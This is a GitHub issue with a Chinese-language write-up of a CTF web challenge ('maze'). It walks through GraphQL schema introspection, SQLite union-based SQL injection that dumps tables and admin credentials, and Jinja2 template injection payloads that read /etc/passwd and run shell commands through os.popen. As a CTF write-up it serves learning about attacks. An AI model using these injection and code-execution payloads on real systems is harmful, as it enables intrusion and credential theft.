Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

0x41414141 CTF 2021 - maze #7

Open
aszx87410 opened this issue Jan 31, 2021 · 0 comments
Open

0x41414141 CTF 2021 - maze #7

aszx87410 opened this issue Jan 31, 2021 · 0 comments
Labels

Comments

@aszx87410
Copy link
Owner

一個 login page,帳號密碼嘗試 sql injection 發現沒有用

基本上 html source 找不到任何線索,靈機一動試試看:http://207.180.200.166:9000/robots.txt

發現中了,內容給了一個 http://207.180.200.166:9000/sup3r_secr37_@p1

進去之後發現是 grahpql viewer,怎麼這麼愛 graphql XD

利用之前的招數({__schema{types{name,fields{name}}}})慢慢試,可以組出完整 query

{
  allTraders {
    edges {
      node {
        id,
        uuid,
        username,
        coins {
          edges {
            node {
              uuid,
              id,
              title,
              body,
              password,
              authorId,
              ownedCoins
            }
          }
        }
      }
    }
  }
}

拿到的資料是:

{
  "data": {
    "allTraders": {
      "edges": [
        {
          "node": {
            "id": "VHJhZGVyT2JqZWN0OjE=",
            "uuid": "1",
            "username": "pop_eax",
            "coins": {
              "edges": [
                {
                  "node": {
                    "uuid": "1",
                    "id": "Q29pbk9iamVjdDox",
                    "title": "XFT",
                    "body": "XFT is the utility token that grants entry into the Offshift ecosystem",
                    "password": "iigvj3xMVuSI9GzXhJJWNeI",
                    "authorId": 1
                  }
                }
              ]
            }
          }
        }
      ]
    }
  }
}

然後回到首頁用帳號 pop_eax 密碼 iigvj3xMVuSI9GzXhJJWNeI 登入,發現沒用

這時候我想說 iigvj3xMVuSI9GzXhJJWNeI 是不是某種加密或是 hash 需要先弄成明碼,就這樣找了半小時但毫無所獲

最後真的沒招了,只好把帳號輸入成 XFT 然後密碼 iigvj3xMVuSI9GzXhJJWNeI,發現過了....

當成直接罵了一聲髒話,為什麼帳號不是 username 啊 QQ
半小時就這樣不見了QQ

接著會進入到這樣的頁面:

點進去 trade 之後就會到 http://207.180.200.166:9000/trade?coin=xft

然後裡面基本上也沒功能

因為那個參數看起來很可疑,就嘗試 injection 發現應該是可行的,因為 http://207.180.200.166:9000/trade?coin=' 會直接噴一個錯誤

但接下來我在這邊卡了很久,可能有半小到一個小時,因為 union 會噴 500 internal server error,我一度懷疑是不是不能用,就在網路上尋找其他攻擊方式

失敗的 payload:

' union select 1,1 ;--

後來想一想覺得沒道理啊,怎麼會失敗,就靈機一動想說:「該不會用字串就可以吧」,於是試了:

' union select 'a','a' ;--

靠杯勒還真的可以

接下來就是 sqlite injection 了,可以慢慢把每一個 table name 跟 schema 弄出來:

' union SELECT tbl_name, 'a' FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0 --

一拿就拿到一個叫做 admin 的 table,可以把 sql dump 出來:

' union SELECT sql, 'a' FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='admin' --

然後 admin 試著把裡面東西拿出來,拿到 admin:p0To3zTQuvFDzjhO9

接著清 cookie 回首頁嘗試,發現毫無反應,這邊我又卡了 30 分鐘,我想說是不是 flag 藏其他地方,就把所有 table 都 dump 出來了:

CREATE TABLE admin(username TEXT NOT NULL, password TEXT NOT NULL)
CREATE TABLE traders (
              uuid INTEGER NOT NULL,
              username VARCHAR(256),
              PRIMARY KEY (uuid)
              )</p>
CREATE TABLE coins (
              uuid INTEGER NOT NULL,
              title VARCHAR(256),
              body TEXT,
              password TEXT,
              author_id INTEGER,
              PRIMARY KEY (uuid),
              FOREIGN KEY(author_id) REFERENCES traders (uuid)
              )</p>
CREATE TABLE coin_data (coin_name text primary key, coin_desc text NOT NULL)


' union SELECT 'a', username || ' ' || password FROM admin limit 1 offset 0 --

' union SELECT 'a', coin_name || ' ' || coin_desc FROM coin_data limit 1 offset 0 --

後來發現沒有其他可疑的東西,一度試到想放棄,最後想說再回登入後的首頁看一下好了,這時我是把 devtool 關起來的,於是我看到了...

靠杯,RWD 沒做好吧QQ
因為開了 devtool 所以右上角那個 admin 我之前沒看到
30 分鐘不見了 QQ

點下去之後到新的登入頁面,輸入上面 admin 帳密過關,到了最後一關:

開 devtool 發現會設一個 cookie 叫做 name,然後會反射在 html source code 當中,第一直覺想到的就是 SSTI,試了 {{1+1}},最後 html 輸出 2,中了!

透過 {{7*'7'}} 輸出 7777777,可以知道是 Jinja2

接下來就是 python 苦手如我的一波亂試,找到了:Templates Injections 還有 [Day14] - SSTI(Server-side template injection)(2)

試過了:

{{config.items()}}
{{ [].class.base.subclasses() }}
{{"".__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')}}
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read()  }}

最後一個是有用的,但看起來只讀檔案是沒用的,應該要 RCE 才行。但 python 我幾乎完全不會,只好隨意亂找有沒有可用的 payload。

最後是找到這篇:利用 Python 特性在 Jinja2 模板中执行任意代码,看到裡面的:

{{ os.popen('echo Hello RCE').read() }}

才結合剛剛試出來的,變成這樣:

name={{ get_flashed_messages.__globals__['os'].system('ls /') }};

接著就是開始找 flag,最後的 payload:

name={{ get_flashed_messages.__globals__['os'].popen('cat flag.txt').read() }};
@aszx87410 aszx87410 added the Web label Jan 31, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant